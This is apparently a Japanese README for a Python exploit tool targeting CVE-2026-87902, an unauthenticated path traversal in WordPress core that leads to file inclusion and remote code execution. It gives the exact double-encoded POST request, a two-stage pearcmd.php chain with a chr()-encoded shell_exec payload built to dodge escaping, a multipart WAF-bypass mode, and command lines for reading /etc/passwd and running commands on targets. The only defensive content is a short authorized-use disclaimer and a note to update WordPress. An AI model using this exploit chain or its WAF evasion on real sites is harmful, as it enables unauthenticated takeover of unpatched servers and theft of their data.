
CVE-2026-87902(WordPressコアのパストラバーサルによりLFIおよびPEARベースのRCEに至る脆弱性)のPython PoCおよびスキャナ。WAFバイパスと自動エクスプロイトに対応。
WordPress コアのページテンプレートリゾルバーにおける二重エンコードされたパストラバーサルを介した未認証のローカルファイルインクルージョン、および PEAR ベースの RCE チェーン。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Critical) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Include/Require のためのファイル名の不適切な制御 |
| 影響を受けるバージョン | WordPress 4.7.0 – 7.1.1 |
| 修正済み | WordPress 7.1.2 + サポート対象の全ブランチへのバックポート |
| 認証 | 不要 (未認証) |
wp-includes/template.php の get_page_template() は、サニタイズがすでに実行された後に pagename クエリパラメータに対して urldecode() を呼び出します。二重エンコードされた ../ シーケンス (%252E%252E%252F) は、PHP の最初のデコードを %2E%2E%2F として通過し、sanitize_title_with_dashes() (%xx シーケンスを保持する) を生き延び、その後 WordPress の遅延 urldecode() 呼び出しによって ../ にデコードされ、テーマディレクトリを脱出します。
POST メソッドが必要なのは、redirect_canonical() が非 GET/HEAD リクエストに対して早期にリターンし、脆弱なコードに到達する前にパスが正規化されるのを防ぐためです。
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP が POST ボディをデコード: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP のサニタイズが保持: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() の urldecode(): templates/../../../index
4. locate_template() が解決: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() が成功 → include() がファイルを実行
.php ファイルがインクルードされ実行されるpearcmd.php ガジェットチェーン経由 (PEAR がインストール済み + register_argc_argv=On が必要)2 つの匿名 POST リクエストで RCE を達成します:
ステージ 1 — トラバーサル経由で pearcmd.php をインクルードします。クエリ文字列 /?+config-create+/<php-payload>+<output>.php が PEAR の argv になります。config-create コマンドは、攻撃者が制御するデータ (PHP タグを含む) を書き込み可能なディレクトリに書き込みます。
ステージ 2 — PEAR が書き込んだファイルをインクルードします。埋め込まれた PHP が Web サーバーの権限で実行されます。
PHP ペイロードは chr() エンコーディング (<?=shell_exec(chr(105).chr(100))?>) を使用して、wp_magic_quotes() がエスケープする引用符文字を回避します。
cve-2026-87902.py — 自動チェッカー + LFI スキャナー + PEAR RCE エクスプロイト。バイト単位で正確なリクエスト制御のために http.client を使用します (ライブラリによる再エンコードなし)。
Python 3.6+ (標準ライブラリのみ — pip 依存関係なし)
# 脆弱性チェックのみ
python3 cve-2026-87902.py https://target.com --check
# WAF バイパス付きチェック (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# ページ ID とトラバーサル深度を指定
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI スキャン (デフォルトターゲット)
python3 cve-2026-87902.py https://target.com
# カスタムファイルによる LFI スキャン
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# PEAR チェーン経由の RCE
python3 cve-2026-87902.py https://target.com --rce "id"
# RCE 経由でファイルを読み取る
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# 全オプション
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-* ディレクトリを探索--multipart はペイロードを multipart/form-data でラップし、WAF のパターンマッチングを回避chr() エンコードされたペイロードによる 2 段階の PEAR チェーン| マーカー | 意味 |
|---|---|
[HIT] | ファイルが正常にインクルードされた |
[---] | 正常なレスポンス (ファイルはインクルードされていない) |
[???] | レスポンスが大きく異なる — 調査する価値あり |
[WAF] | WAF によってブロックされた (403) |
[ERR] | 接続に失敗した |
page-* ディレクトリが含まれている必要がある (例: page-templates/)pearcmd.php が読み取り可能 + register_argc_argv=On + /tmp が書き込み可能WordPress 7.1.2 またはご使用のブランチの最新セキュリティリリースに更新してください (4.7 へのバックポートも利用可能)。
このツールは、許可されたセキュリティテストおよびバグバウンティ調査のみを目的として提供されています。テストの明示的な許可を得ているシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。